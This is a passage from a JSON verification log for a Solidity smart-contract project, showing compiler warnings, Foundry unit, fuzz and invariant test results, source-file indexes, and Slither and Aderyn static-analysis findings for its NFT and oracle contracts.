|\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | donate        | 2224  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | elapse        | 2195  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | expire        | 2232  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | failRequest   | 2288  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | propose       | 2193  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | recordVerdict | 2257  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | release       | 2292  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | settle        | 2271  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | withdrawFree  | 2169  | 0       | 0        |\n╰-------------------------+---------------+-------+---------+----------╯\n\nLogs:\n  Bound result 100000000000000000000\n  Bound result 50000000000000000000\n  Bound result 1000000\n  Bound result 670264\n  Bound result 1\n  Bound result 1264811663\n  Bound result 13305\n  Bound result 8\n  Bound result 787103\n  Bound result 3\n  Bound result 0\n  Bound result 5\n  Bound result 1\n  Bound result 7\n  Bound result 2\n  Bound result 4\n  Bound result 1\n  Bound result 12204\n  Bound result 12929855593582\n  Bound result 4\n  Bound result 1\n  Bound result 12475\n  Bound result 1\n  Bound result 1\n  Bound result 0\n  Bound result 491380927575242097115\n  Bound result 4\n\n[PASS] test_handlerExercisesEveryRewardExitAndReproposal() (gas: 2512067)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 50000000000000000000\n  Bound result 50000000000000000000\n  Bound result 20000000000000000000\n  Bound result 1209600\n  Bound result 1296000\n  Bound result 1296000\n  Bound result 1296000\n  Bound result 17\n  Bound result 8\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 10.01s (10.01s CPU time)\n\nRan 2 tests for test/invariant/InhabitantsAccounting.t.sol:InhabitantsAccountingInvariantTest\n[PASS]\nInhabitantsAccountingInvariantTest invariants:\n[PASS] invariant_marksAreImmutableAndTheFixedDeckIsNeverOverdrawn\n[PASS] invariant_paymentsAndReferralCountersMatchTheLedger\n[PASS] invariant_supplyOwnershipAndSoulIdentityAreConserved\n[PASS] invariant_validActionsDoNotSilentlyRevert\n InhabitantsAccountingInvariantTest invariants (runs: 256, calls: 24576, reverts: 0)\n\n╭------------------------------+--------------+-------+---------+----------╮\n| Contract                     | Selector     | Calls | Reverts | Discards |\n+==========================================================================+\n| InhabitantsAccountingHandler | buyService   | 3466  | 0       | 0        |\n|------------------------------+--------------+-------+---------+----------|\n| InhabitantsAccountingHandler | forgeReserve | 3506  | 0       | 0        |\n|------------------------------+--------------+-------+---------+----------|\n| InhabitantsAccountingHandler | forgeSoul    | 3523  | 0       | 0        |\n|------------------------------+--------------+-------+---------+----------|\n| InhabitantsAccountingHandler | memorialize  | 3554  | 0       | 0        |\n|------------------------------+--------------+-------+---------+----------|\n| InhabitantsAccountingHandler | revealSoul   | 3534  | 0       | 0        |\n|------------------------------+--------------+-------+---------+----------|\n| InhabitantsAccountingHandler | setMintPhase | 3482  | 0       | 0        |\n|------------------------------+--------------+-------+---------+----------|\n| InhabitantsAccountingHandler | transferSoul | 3511  | 0       | 0        |\n╰------------------------------+--------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 2\n  Bound result 239\n  Bound result 215\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 243\n  Bound result 6\n  Bound result 3\n  Bound result 1\n  Bound result 5\n  Bound result 1\n  Bound result 1\n  Bound result 3\n  Bound result 1\n  Bound result 2\n  Bound result 32\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 85\n  Bound result 201\n  Bound result 1\n  Bound result 59\n\n[PASS] test_handlerExercisesTransfersMemorialsServicesAndStaleReveals() (gas: 4509536)\nLogs:\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 300\n  Bound result 2\n  Bound result 3\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 46.20s (46.19s CPU time)\n\nRan 18 test suites in 46.20s (57.94s CPU time): 126 tests passed, 0 failed, 0 skipped (126 total tests)\n","passed":true},{"durationMs":68,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"GodsOfIMDInhabitants.approve(address,uint256)\",\"GodsOfIMDInhabitants.commission(uint256,uint8,bytes32)\",\"GodsOfIMDInhabitants.forge(bytes32,address)\",\"GodsOfIMDInhabitants.forgeAllowlist(bytes32,address,uint256,bytes32[])\",\"GodsOfIMDInhabitants.forgeReserved(bytes32)\",\"GodsOfIMDInhabitants.forgeReservedMany(bytes32[])\",\"GodsOfIMDInhabitants.forgeWithToken(address,bytes32,address)\",\"GodsOfIMDInhabitants.petition(uint256,bytes32)\",\"GodsOfIMDInhabitants.purchase(uint256,bytes32,uint256)\",\"GodsOfIMDInhabitants.refresh(uint256)\",\"GodsOfIMDInhabitants.refreshAll()\",\"GodsOfIMDInhabitants.renounceOwnership()\",\"GodsOfIMDInhabitants.reveal(uint256)\",\"GodsOfIMDInhabitants.revealMany(uint256[])\",\"GodsOfIMDInhabitants.safeTransferFrom(address,address,uint256)\",\"GodsOfIMDInhabitants.safeTransferFrom(address,address,uint256,bytes)\",\"GodsOfIMDInhabitants.setAddresses(address,address)\",\"GodsOfIMDInhabitants.setAllowlistRoot(bytes32)\",\"GodsOfIMDInhabitants.setApprovalForAll(address,bool)\",\"GodsOfIMDInhabitants.setBaseURI(string)\",\"GodsOfIMDInhabitants.setForgeToken(address,uint256,uint256,uint16,address)\",\"GodsOfIMDInhabitants.setMaxPerWallet(uint256)\",\"GodsOfIMDInhabitants.setMemorial(uint256,bytes32)\",\"GodsOfIMDInhabitants.setOracleCost(uint256)\",\"GodsOfIMDInhabitants.setPayees((address,uint16)[])\",\"GodsOfIMDInhabitants.setPhase(uint8)\",\"GodsOfIMDInhabitants.setPrices(uint256,uint256,uint256,uint256)\",\"GodsOfIMDInhabitants.setReferralBps(uint16)\",\"GodsOfIMDInhabitants.setRoyalty(address,uint96)\",\"GodsOfIMDInhabitants.setSplit(uint16,uint16,(address,uint16)[])\",\"GodsOfIMDInhabitants.setSteward(address)\",\"GodsOfIMDInhabitants.transferFrom(address,address,uint256)\",\"GodsOfIMDInhabitants.transferOwnership(address)\",\"OracleShrine.anchor(uint64,bytes32,bytes32)\",\"OracleShrine.ask(bytes32,bytes,bytes32[],uint8)\",\"OracleShrine.askRewards(uint64,bytes32,uint256,bytes,bytes32)\",\"OracleShrine.cancelRewards(uint64)\",\"OracleShrine.claim(uint64,address,uint256,bytes32[])\",\"OracleShrine.expireRewards(uint64)\",\"OracleShrine.finalizeRewards(uint64)\",\"OracleShrine.onFailure(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"OracleShrine.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"OracleShrine.onResult(bytes32,bytes32,string)\",\"OracleShrine.record((bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"OracleShrine.rejectRewards(uint64)\",\"OracleShrine.renounceOwnership()\",\"OracleShrine.setDirector(address)\",\"OracleShrine.setIntake(address)\",\"OracleShrine.setMaxRewardBps(uint16)\",\"OracleShrine.setMinQuorum(uint16)\",\"OracleShrine.setPanelMinimums(uint16,uint16)\",\"OracleShrine.setPrice(uint256)\",\"OracleShrine.setRewardsAction(bytes32)\",\"OracleShrine.setSigner(address)\",\"OracleShrine.transferOwnership(address)\",\"OracleShrine.unpin(bytes32[])\",\"OracleShrine.withdraw(address,address,uint256)\"],\"files\":{\".gitignore\":3,\"ADAPTATION.md\":48,\"LICENSE\":21,\"README.md\":64,\"foundry.toml\":12,\"launch.json\":1,\"remappings.txt\":2,\"src/GodsOfIMDInhabitants.sol\":780,\"src/OracleShrine.sol\":678,\"src/interfaces/IIntake.sol\":21,\"test/Bazaar.t.sol\":180,\"test/Caps.t.sol\":139,\"test/EthereumDeployment.t.sol\":162,\"test/InhabitantsFailures.t.sol\":447,\"test/InhabitantsSecurity.t.sol\":179,\"test/Launch.t.sol\":126,\"test/Marks.t.sol\":156,\"test/OracleBoundaries.t.sol\":270,\"test/OracleConformance.t.sol\":85,\"test/OracleSecurity.t.sol\":261,\"test/Reserve.t.sol\":167,\"test/RewardsStateMachine.t.sol\":358,\"test/Shift.t.sol\":256,\"test/TESTING.md\":57,\"test/audit/RevealReroll.t.sol\":89,\"test/audit/WeakPanelRecord.t.sol\":107,\"test/helpers/OracleFixture.sol\":128,\"test/invariant/InhabitantsAccounting.t.sol\":415,\"test/invariant/RewardAccounting.t.sol\":353},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"7031a86b52ac9ac58f00742e8da049369b72a88cf2f6c7b0969d1fd871d69874","verifiedTreeHash":"3f765b9f6bccefaeb6c3d5976fc2ee19d044f299","verifierVersion":"0.1.0+a490e3c0"},{"checks":[{"durationMs":4566,"exitCode":0,"name":"build","output":"Compiling 76 files with Solc 0.8.30\nSolc 0.8.30 finished in 4.45s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/GodsOfIMDInhabitants.sol:458:13:\n    |\n458 |             uint256 next = block.number + 1;\n    |             ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n   --> src/GodsOfIMDInhabitants.sol:454:9:\n    |\n454 |         uint256 next = nextToReveal();\n    |         ^^^^^^^^^^^^\n\nWarning (2018): Function state mutability can be restricted to view\n   --> test/Marks.t.sol:152:5:\n    |\n152 |     function test_noEarlyWaves() public {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":378,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/audit/WeakPanelRecord.t.sol:WeakPanelRecordTest\n[PASS] test_aThreeSeatPanelCannotApproveARewardWeekAskedOfThirty() (gas: 408480)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 952.56µs (426.86µs CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] test_acceptsAFreshSignatureFromTheVectorKey() (gas: 231379)\n[PASS] test_acceptsTheProtocolSignatureUnderStipend() (gas: 264043)\n[PASS] test_callbackSelectorIsCanonical() (gas: 485)\n[PASS] test_digestMatchesTheProtocol() (gas: 10875)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 1.63ms (720.61µs CPU time)\n\nRan 6 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_constructorsGiveTheOwnerEverything() (gas: 52453)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 497057)\n[PASS] test_constructorsWireTheTwoContracts() (gas: 59727)\n[PASS] test_genesisRulesAreBuiltIn() (gas: 75266)\n[PASS] test_onlyTheOwnerWires() (gas: 88595)\n[PASS] test_ownerWiringThenAFirstForgeSplitsThePrice() (gas: 748770)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 1.69ms (757.63µs CPU time)\n\nRan 1 test for test/audit/RevealReroll.t.sol:RevealRerollTest\n[PASS] test_theRevealBlockDoesNotChooseTheMark() (gas: 1142219)\nLogs:\n  mark when revealed at the chosen block: 0\n  mark when revealed at another block: 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.68ms (1.07ms CPU time)\n\nRan 6 tests for test/Caps.t.sol:CapsTest\n[PASS] test_cannotClaimSeerSlotsWithoutTheLeaf() (gas: 153889)\n[PASS] test_listSpotIsOneEarlySoulThenTwentyInAll() (gas: 4706957)\n[PASS] test_publicStopsAtTwenty() (gas: 4566694)\n[PASS] test_seerCapCountsEveryForge() (gas: 5771280)\n[PASS] test_seerForgesTwentyFiveAtFour() (gas: 6072385)\n[PASS] test_twentyPerWalletIsBuiltIn() (gas: 7680)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 14.94ms (12.31ms CPU time)\n\nRan 7 tests for test/InhabitantsSecurity.t.sol:InhabitantsSecurityTest\n[PASS] testFuzz_copyCannotBlockAnyForgePath(bytes32,uint8) (runs: 256, μ: 637287, ~: 640509)\nLogs:\n  Bound result 1\n\n[PASS] testFuzz_staleRevealNeverDrawsFromKnownFallback(uint256,bytes32) (runs: 256, μ: 390812, ~: 391001)\nLogs:\n  Bound result 999997\n\n[PASS] test_duplicateCannotSwitchPaymentPathsOrBeResetByTransfer() (gas: 640604)\n[PASS] test_hashAt256BlocksStillReveals() (gas: 433872)\n[PASS] test_revealManyProcessesFreshAndStaleSoulsAndSkipsDuplicates() (gas: 1056182)\n[PASS] test_staleRevealRearmsAndLaterRevealsExactlyOnce() (gas: 636164)\n[PASS] test_zeroSoulStillRejectedBeforeNamespacing() (gas: 76678)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 16.86ms (31.53ms CPU time)\n\nRan 11 tests for test/Bazaar.t.sol:BazaarTest\n[PASS] testFuzz_splitIsExact(uint256) (runs: 256, μ: 286556, ~: 288629)\nLogs:\n  Bound result 900000000000000000000\n\n[PASS] test_emitsPurchased() (gas: 139666)\n[PASS] test_itemsFollowTheTokenToItsNewOwner() (gas: 221076)\n[PASS] test_memorialSoulCannotBuy() (gas: 121519)\n[PASS] test_needsTheAllowance() (gas: 135932)\n[PASS] test_onlyTheOwnerMayBuy() (gas: 42991)\n[PASS] test_splitFollowsSetSplit() (gas: 212584)\n[PASS] test_splitIsExactWithRoundingDust() (gas: 285134)\n[PASS] test_splitIsExactlyTheForgeSplit() (gas: 285165)\n[PASS] test_unknownSoulReverts() (gas: 40196)\n[PASS] test_zeroAmountReverts() (gas: 44411)\nSuite result: ok. 11 passed; 0 failed; 0 skipped; finished in 16.96ms (17.18ms CPU time)\n\nRan 9 tests for test/Reserve.t.sol:ReserveTest\n[PASS] test_aReservedSoulCanBeGivenAway() (gas: 287079)\n[PASS] test_fiftyInOneTransactionFitsABlock() (gas: 12154982)\nLogs:\n  gas for 50 reserved souls: 6086589\n\n[PASS] test_manyInOneTransaction() (gas: 12250163)\n[PASS] test_onlyTheOwnerForgesReserved() (gas: 35178)\n[PASS] test_paidSoulsTakeIdsFromOne() (gas: 1115585)\n[PASS] test_reserveIsAHundredOfTheThousand() (gas: 20420)\n[PASS] test_reserveStopsAtAHundred() (gas: 16445045)\n[PASS] test_reservedIsFreeInAnyPhaseAndTakesTheLastIds() (gas: 447986)\n[PASS] test_reservedSoulsAreUniqueAndReveal() (gas: 424844)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 24.25ms (10.99ms CPU time)\n\nRan 1 test for test/OracleSecurity.t.sol:OracleCallbackGasTest\n[PASS] testFuzz_listDeliveryAndRecordRecovery(uint8,bool) (runs: 256, μ: 764584, ~: 845407)\nLogs:\n  Bound result 4\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.03ms (25.47ms CPU time)\n\nRan 4 tests for test/EthereumDeployment.t.sol:EthereumDeploymentTest\n[PASS] test_everyConstructorAddressRejectsZero() (gas: 466948)\n[PASS] test_exactEthereumArgumentsAndOwnerRoles() (gas: 133909)\n[PASS] test_factoryHasNoOwnerPowers() (gas: 65145)\n[PASS] test_runtimesMeetProtectedSizeAndOpcodeRules() (gas: 16453719)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 93.79ms (92.15ms CPU time)\n\nRan 5 tests for test/RevealOrder.t.sol:RevealForgeOrderTest\n[PASS] test_greedyRevealerCannotCollectDivines() (gas: 408046634)\n[PASS] test_nextToRevealFollowsForgeOrderAcrossIdRanges() (gas: 775831)\n[PASS] test_notYetRevealableStillRevertsNotRevealable() (gas: 275091)\n[PASS] test_referralSettersRespectListedForgeTokens() (gas: 256847)\n[PASS] test_revealManyInAnyListOrderGivesTheSameMarks() (gas: 8934972)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 150.86ms (154.54ms CPU time)\n\nRan 12 tests for test/Shift.t.sol:ShiftTest\n[PASS] test_aNewTokenCanBeListedLater() (gas: 1153684)\n[PASS] test_aReferrerGetsFivePercent() (gas: 651129)\n[PASS] test_aSoulForTwoHundredThousandShift() (gas: 410907)\n[PASS] test_badSettingsAreRefused() (gas: 119256)\n[PASS] test_idsAreSharedWithForgesInImd() (gas: 1002281)\n[PASS] test_imdIsSharedAndShiftGoesToItsPayeeAlone() (gas: 934311)\n[PASS] test_needsTheTokenAllowance() (gas: 274196)\n[PASS] test_onlyInThePublicPhase() (gas: 141551)\n[PASS] test_shiftIsListedAtDeploy() (gas: 33589)\n[PASS] test_theOwnerSetsPriceCapBurnAndPayee() (gas: 1023825)\n[PASS] test_theWalletCapCountsBoth() (gas: 4493065)\n[PASS] test_withoutTheTokenOnThisChainItReverts() (gas: 214201)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 264.12ms (3.42ms CPU time)\n\nRan 6 tests for test/Marks.t.sol:MarksTest\n[PASS] test_cannotRevealBeforeTheHashExists() (gas: 509115)\n[PASS] test_everySoulDrawsWithTheSameOdds() (gas: 21397274)\n[PASS] test_fullDeckComesOutExactly() (gas: 279859997)\n[PASS] test_genesisRulesAreBuiltIn() (gas: 93772)\n[PASS] test_noEarlyWaves() (gas: 5627)\n[PASS] test_revealManySkipsWhatIsNotReady() (gas: 646615)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 264.21ms (274.41ms CPU time)\n\nRan 15 tests for test/OracleSecurity.t.sol:OracleSecurityTest\n[PASS] testFuzz_panelFloorsApplyToEveryRelay(uint16,uint16,uint16) (runs: 256, μ: 367698, ~: 360728)\nLogs:\n  Bound result 27\n  Bound result 17\n  Bound result 66\n\n[PASS] test_agreementFloorIsIndependentOfQuorum() (gas: 380721)\n[PASS] test_callbackRejectsWrongSenderUnknownAndSettledRequests() (gas: 611215)\n[PASS] test_defaultPanelPolicy() (gas: 22706)\n[PASS] test_failureMovesNoFundsAndUnansweredRewardsCanBeCancelled() (gas: 616011)\n[PASS] test_falseAnswerIsStoredUnderStipendAndReleasesRewards() (gas: 676416)\n[PASS] test_invalidPanelPoliciesAndZeroActionRevert() (gas: 109684)\n[PASS] test_onlyOwnerSetsPolicyAndAction() (gas: 60228)\n[PASS] test_ownerCanRaisePolicyAndAcceptLargerPanel() (gas: 525080)\n[PASS] test_ownerMigratesRewardsActionAfterRetirement() (gas: 1728151)\n[PASS] test_ownerWithdrawsOnlyFreeBalance() (gas: 586449)\n[PASS] test_smallPanelCannotBypassWithEnoughAgreement() (gas: 347571)\n[PASS] test_threeSeatRelayCannotActivateOrRejectRewards() (gas: 741875)\n[PASS] test_unpinnedExpiredAndTamperedAnswersCannotSettle() (gas: 446227)\n[PASS] test_weakCallbackLeavesRequestPendingThenStrongCallbackSucceeds() (gas: 913978)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 264.32ms (24.16ms CPU time)\n\nRan 6 tests for test/OracleBinding.t.sol:OracleBindingTest\n[PASS] test_answerToAnotherQuestionIsRefusedByTheCallback() (gas: 801814)\n[PASS] test_directorRelaysGroupAnswers() (gas: 724820)\n[PASS] test_foreignAnswerCannotPreemptRewardsThenOwnAnswerActivates() (gas: 873904)\n[PASS] test_futureDatedAttestationRefused() (gas: 595213)\n[PASS] test_outsiderCannotRelayAnyAnswer() (gas: 345027)\n[PASS] test_unpinnedRequestCannotSettleARepinnedQuestion() (gas: 765890)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 264.32ms (3.75ms CPU time)\n\nRan 15 test suites in 265.72ms (1.41s CPU time): 94 tests passed, 0 failed, 0 skipped (94 total tests)\n","passed":true},{"durationMs":58,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"GodsOfIMDInhabitants.approve(address,uint256)\",\"GodsOfIMDInhabitants.commission(uint256,uint8,bytes32)\",\"GodsOfIMDInhabitants.forge(bytes32,address)\",\"GodsOfIMDInhabitants.forgeAllowlist(bytes32,address,uint256,bytes32[])\",\"GodsOfIMDInhabitants.forgeReserved(bytes32)\",\"GodsOfIMDInhabitants.forgeReservedMany(bytes32[])\",\"GodsOfIMDInhabitants.forgeWithToken(address,bytes32,address)\",\"GodsOfIMDInhabitants.petition(uint256,bytes32)\",\"GodsOfIMDInhabitants.purchase(uint256,bytes32,uint256)\",\"GodsOfIMDInhabitants.refresh(uint256)\",\"GodsOfIMDInhabitants.refreshAll()\",\"GodsOfIMDInhabitants.renounceOwnership()\",\"GodsOfIMDInhabitants.reveal(uint256)\",\"GodsOfIMDInhabitants.revealMany(uint256[])\",\"GodsOfIMDInhabitants.safeTransferFrom(address,address,uint256)\",\"GodsOfIMDInhabitants.safeTransferFrom(address,address,uint256,bytes)\",\"GodsOfIMDInhabitants.setAddresses(address,address)\",\"GodsOfIMDInhabitants.setAllowlistRoot(bytes32)\",\"GodsOfIMDInhabitants.setApprovalForAll(address,bool)\",\"GodsOfIMDInhabitants.setBaseURI(string)\",\"GodsOfIMDInhabitants.setForgeToken(address,uint256,uint256,uint16,address)\",\"GodsOfIMDInhabitants.setMaxPerWallet(uint256)\",\"GodsOfIMDInhabitants.setMemorial(uint256,bytes32)\",\"GodsOfIMDInhabitants.setOracleCost(uint256)\",\"GodsOfIMDInhabitants.setPayees((address,uint16)[])\",\"GodsOfIMDInhabitants.setPhase(uint8)\",\"GodsOfIMDInhabitants.setPrices(uint256,uint256,uint256,uint256)\",\"GodsOfIMDInhabitants.setReferralBps(uint16)\",\"GodsOfIMDInhabitants.setRoyalty(address,uint96)\",\"GodsOfIMDInhabitants.setSplit(uint16,uint16,(address,uint16)[])\",\"GodsOfIMDInhabitants.setSteward(address)\",\"GodsOfIMDInhabitants.transferFrom(address,address,uint256)\",\"GodsOfIMDInhabitants.transferOwnership(address)\",\"OracleShrine.anchor(uint64,bytes32,bytes32)\",\"OracleShrine.ask(bytes32,bytes,bytes32[],uint8)\",\"OracleShrine.askRewards(uint64,bytes32,uint256,bytes,bytes32)\",\"OracleShrine.cancelRewards(uint64)\",\"OracleShrine.claim(uint64,address,uint256,bytes32[])\",\"OracleShrine.expireRewards(uint64)\",\"OracleShrine.finalizeRewards(uint64)\",\"OracleShrine.onFailure(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"OracleShrine.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"OracleShrine.onResult(bytes32,bytes32,string)\",\"OracleShrine.record((bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"OracleShrine.rejectRewards(uint64)\",\"OracleShrine.renounceOwnership()\",\"OracleShrine.setDirector(address)\",\"OracleShrine.setIntake(address)\",\"OracleShrine.setMaxRewardBps(uint16)\",\"OracleShrine.setMinQuorum(uint16)\",\"OracleShrine.setPanelMinimums(uint16,uint16)\",\"OracleShrine.setPrice(uint256)\",\"OracleShrine.setRewardsAction(bytes32)\",\"OracleShrine.setSigner(address)\",\"OracleShrine.transferOwnership(address)\",\"OracleShrine.unpin(bytes32[])\",\"OracleShrine.withdraw(address,address,uint256)\"],\"files\":{\".gitignore\":3,\"ADAPTATION.md\":61,\"LICENSE\":21,\"README.md\":68,\"foundry.toml\":12,\"launch.json\":1,\"remappings.txt\":2,\"src/GodsOfIMDInhabitants.sol\":809,\"src/OracleShrine.sol\":701,\"src/interfaces/IIntake.sol\":21,\"test/Bazaar.t.sol\":178,\"test/Caps.t.sol\":129,\"test/EthereumDeployment.t.sol\":162,\"test/InhabitantsSecurity.t.sol\":186,\"test/Launch.t.sol\":124,\"test/Marks.t.sol\":156,\"test/OracleBinding.t.sol\":111,\"test/OracleConformance.t.sol\":85,\"test/OracleSecurity.t.sol\":274,\"test/Reserve.t.sol\":167,\"test/RevealOrder.t.sol\":156,\"test/Shift.t.sol\":244,\"test/audit/RevealReroll.t.sol\":89,\"test/audit/WeakPanelRecord.t.sol\":107,\"test/helpers/OracleFixture.sol\":128},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":3877,"exitCode":0,"name":"slither","output":"[high/medium] weak-prng at src/GodsOfIMDInhabitants.sol:746: GodsOfIMDInhabitants._draw(uint256) (src/GodsOfIMDInhabitants.sol#746-762) uses a weak PRNG: \"r = rand % total (src/GodsOfIMDInhabitants.sol#753)\"\n[medium/high] incorrect-equality at src/GodsOfIMDInhabitants.sol:451: GodsOfIMDInhabitants.reveal(uint256) (src/GodsOfIMDInhabitants.sol#451-471) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/GodsOfIMDInhabitants.sol:451: GodsOfIMDInhabitants.reveal(uint256) (src/GodsOfIMDInhabitants.sol#451-471) uses a dangerous strict equality:\n[medium/medium] uninitialized-local at src/GodsOfIMDInhabitants.sol:703: GodsOfIMDInhabitants._forge(bytes32,address,uint256).s (src/GodsOfIMDInhabitants.sol#703) is a local variable never initialized\n[medium/medium] uninitialized-local at src/GodsOfIMDInhabitants.sol:485: GodsOfIMDInhabitants.nextToReveal().revealed (src/GodsOfIMDInhabitants.sol#485) is a local variable never initialized\n[medium/medium] uninitialized-local at src/GodsOfIMDInhabitants.sol:794: GodsOfIMDInhabitants._setPayees(GodsOfIMDInhabitants.Payee[]).sum (src/GodsOfIMDInhabitants.sol#794) is a local variable never initialized\n[medium/medium] uninitialized-local at src/GodsOfIMDInhabitants.sol:748: GodsOfIMDInhabitants._draw(uint256).total (src/GodsOfIMDInhabitants.sol#748) is a local variable never initialized\n[medium/medium] uninitialized-local at src/GodsOfIMDInhabitants.sol:747: GodsOfIMDInhabitants._draw(uint256).w (src/GodsOfIMDInhabitants.sol#747) is a local variable never initialized\n[low/medium] missing-zero-check at src/GodsOfIMDInhabitants.sol:275: GodsOfIMDInhabitants.constructor(address,IERC20,address,address).owner_ (src/GodsOfIMDInhabitants.sol#275) lacks a zero-check on :\n[low/medium] missing-zero-check at src/GodsOfIMDInhabitants.sol:532: GodsOfIMDInhabitants.setRoyalty(address,uint96).receiver (src/GodsOfIMDInhabitants.sol#532) lacks a zero-check on :\n[low/medium] reentrancy-benign at src/OracleShrine.sol:274: Reentrancy in OracleShrine.ask(bytes32,bytes,bytes32[],uint8) (src/OracleShrine.sol#274-291):\n[low/medium] reentrancy-benign at src/OracleShrine.sol:300: Reentrancy in OracleShrine.askRewards(uint64,bytes32,uint256,bytes,bytes32) (src/OracleShrine.sol#300-335):\n[low/medium] reentrancy-benign at src/OracleShrine.sol:618: Reentrancy in OracleShrine._buy(bytes32,bytes,uint256) (src/OracleShrine.sol#618-629):\n[low/medium] reentrancy-events at src/OracleShrine.sol:300: Reentrancy in OracleShrine.askRewards(uint64,bytes32,uint256,bytes,bytes32) (src/OracleShrine.sol#300-335):\n[low/medium] reentrancy-events at src/OracleShrine.sol:274: Reentrancy in OracleShrine.ask(bytes32,bytes,bytes32[],uint8) (src/OracleShrine.sol#274-291):\n[low/medium] timestamp at src/OracleShrine.sol:474: OracleShrine.expireRewards(uint64) (src/OracleShrine.sol#474-481) uses timestamp for comparisons\n[low/medium] timestamp at src/OracleShrine.sol:447: OracleShrine.cancelRewards(uint64) (src/OracleShrine.sol#447-454) uses timestamp for comparisons\n[low/medium] timestamp at src/OracleShrine.sol:611: OracleShrine._pin(bytes32,uint8) (src/OracleShrine.sol#611-615) uses timestamp for comparisons\n[low/medium] timestamp at src/OracleShrine.sol:653: OracleShrine._record(OracleShrine.Attestation,bytes) (src/OracleShrine.sol#653-680) uses timestamp for comparisons","passed":true},{"durationMs":678,"exitCode":0,"name":"aderyn","output":"[low] centralization-risk at src/GodsOfIMDInhabitants.sol:44: Centralization Risk (28 places)\n[low] costly-loop at src/GodsOfIMDInhabitants.sol:405: Costly operations inside loop (6 places)\n[low] large-numeric-literal at src/GodsOfIMDInhabitants.sol:81: Large Numeric Literal (3 places)\n[low] literal-instead-of-constant at src/GodsOfIMDInhabitants.sol:287: Literal Instead of Constant (5 places)\n[low] local-variable-shadowing at src/GodsOfIMDInhabitants.sol:129: Local Variable Shadows State Variable\n[low] non-reentrant-not-first at src/GodsOfIMDInhabitants.sol:391: `nonReentrant` is Not the First Modifier (2 places)\n[low] push-zero-opcode at src/GodsOfIMDInhabitants.sol:2: PUSH0 Opcode (3 places)\n[low] require-revert-in-loop at src/GodsOfIMDInhabitants.sol:405: Loop Contains `require`/`revert` (8 places)\n[low] state-no-address-check at src/GodsOfIMDInhabitants.sol:283: Address State Variable Set Without Checks (3 places)\n[low] state-variable-could-be-immutable at src/GodsOfIMDInhabitants.sol:112: State Variable Could Be Immutable (2 places)\n[low] storage-array-length-not-cached at src/GodsOfIMDInhabitants.sol:683: Storage Array Length not Cached\n[low] unchecked-return at src/GodsOfIMDInhabitants.sol:406: Unchecked Return (3 places)\n[low] uninitialized-local-variable at src/GodsOfIMDInhabitants.sol:799: Uninitialized Local Variable\n[low] unspecific-solidity-pragma at src/GodsOfIMDInhabitants.sol:2: Unspecific Solidity Pragma (3 places)","passed":true},{"durationMs":2124,"exitCode":0,"name":"proof 2090b1ef868d","output":"Compiling 63 files with Solc 0.8.30\nSolc 0.8.30 finished in 1.41s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> 